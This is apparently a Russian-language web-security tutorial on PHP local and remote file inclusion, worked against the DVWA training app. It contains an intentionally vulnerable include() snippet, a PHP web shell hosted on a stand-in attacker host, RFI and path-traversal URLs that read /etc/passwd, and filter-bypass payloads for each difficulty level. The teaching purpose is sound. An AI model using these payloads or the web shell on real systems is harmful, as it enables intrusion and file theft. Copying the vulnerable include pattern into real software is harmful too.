Часть 6
File inclusion
File Inclusion делится на две основные ветви - Remote File Inclusion (RFI) Local File Inclusion (LFI).
Основосоставляющая у них одна, это недостаточная фильтрация переменной, которая используется в функциях отвечающих за подключения файлов (например функции include(), require()). В Remote File Inclusion в настройках PHP включены allow_url_fopen и allow_url_include, а Local File Inclusion это присутствие той же самой переменной в функции отвечающий за подключение файла, в любом месте и отключенные allow_url_fopen и allow_url_include соответственно.
Это подключение произвольного файла из внешнего сервера в работу уязвимого файла. Для эксплуатации необходимы два условия в настройках php.ini:
php.ini
allow_url_fopen = On
allow_url_include = On
Local File Inclusion - это подключение произвольного файла расположенного на локальном (атакуемом) сервере в работу уязвимого.
# Уязвимый сайт
<?php
$file = $_GET['page']; //The page we wish to display
include($file);
?>
LFI
http://127.0.0.1/vulnerabilities/fi/?page=/etc/passwd
RFI
http://127.0.0.1/vulnerabilities/fi/?page=http://shell.com/shell.php
# В результате мы получим следующее:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
...
# Сайт злоумышленника с shell-скриптом
http://hacker.ll/shell.php
<?php
$output = isset($_GET['command']) ? shell_exec($_GET['command']) : '';
echo "<pre>$output</pre>";
?>
# При вызове следующего адреса мы получим содержимое файла паролей
http://hacker.ll/shell.php?command=cat /etc/passwd
# Уязвимый сайт
http://dvwa.ll/vulnerabilities/fi/?page=file1.php
# В параметр page вместо файла сайта - подставляем наш shell-скрипт.
# Енкодируем команду для shell-скрипта (https://meyerweb.com/eric/tools/dencoder/)
http://dvwa.ll/vulnerabilities/fi/?page=http://hacker.ll/shell.php?command=cat%2520%252F/etc/passwd
# В результате мы получим следующее:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
# Уязвимый сайт
http://dvwa.ll/vulnerabilities/fi/?page=file1.php
# В параметр page вместо файла сайта - подставляем необходимый нам
# файл, находящийся на текущем сервере
# В результате имеем следующее
http://dvwa.ll/vulnerabilities/fi/?page=/etc/passwd
# В результате мы получим следующее:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
...
vs
В основном разница заключается в том, что с уязвимостью включения файлов ресурс загружается и выполняется в контексте текущего приложения.
Уязвимость, связанная с обращением к каталогу, дает вам возможность читать этот ресурс.
File Inclusion - Path Traversal/
* Basic LFI
* Basic RFI (null byte, double encoding and other tricks)
* LFI / RFI Wrappers
* LFI to RCE via /proc/*/fd
* LFI to RCE via Upload
* LFI to RCE via Phpinfo()
* LFI to RCE via input:// stream
* LFI to RCE via controlled log file
* LFI to RCE via PHP Sessions
* Checklist - Common ways of upgrading from LFI to RCE
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal
Коллекция из нескольких типов списков, используемых в процессе оценки безопасности, собранные в одном месте. Типы списков включают в себя имена пользователей, пароли, URL, чувствительные шаблоны данных, Fuzzing полезные нагрузки, веб-оболочки, и многое другое.
https://github.com/danielmiessler/SecLists
Список полезных нагрузок и обходов для анализа безопасности веб-приложений.
https://github.com/swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings
AWS Amazon Bucket S3
CRLF injection
CSV injection
CVE Shellshock Heartbleed Struts2
File Inclusion - Path Traversal
Insecured source code management
LDAP injection
Methodology and Resources
NoSQL injection
OAuth
Open redirect
PHP juggling type
PHP serialization
Remote commands execution
SQL injection
SSRF injection
Server Side Template injections
Tar commands execution
Traversal directory
Upload insecure files
Web cache deception
XPATH injection
XSS injection
XXE injections
# Low LFI
http://dvwa.ll/vulnerabilities/fi/?page=../../../../../etc/passwd
http://dvwa.ll/vulnerabilities/fi/?page=data:text/plaintext,%3C?php%20phpinfo%28%29;?%3E
http://dvwa.ll/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
# Low RFI
http://dvwa.ll/vulnerabilities/fi/?page=http://hacker.ll/shell.php?command=cat%2520%252F/etc/passwd
#=====================================================
# Medium LFI
http://dvwa.ll/vulnerabilities/fi/?page=/etc/passwd
# Medium RFI
http://dvwa.ll/vulnerabilities/fi/?
page=hthttp://tp://hacker.ll/shell.php?command=cat%2520%252F/etc/passwd
#=====================================================
# Heigh LFI (https://ru.wikipedia.org/wiki/File_(схема_URI))
http://dvwa.ll/vulnerabilities/fi/?page=file:///etc/passwd
http://dvwa.ll/vulnerabilities/fi/?
page=file1.php..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
WAF может быть реализован как облачный сервис, агент на веб-сервере или специализированное железное или виртуальное устройство. Развитие рынка WAF пока складывается так, что облачный сервис востребован в среднем и малом бизнесе, а для крупного бизнеса обычно приобретается отдельное устройство. WAF как модуль веб-сервера так и остался, по сути, в зачаточном состоянии и больше подходит для энтузиастов, чем для бизнес-задач.
To be continued ...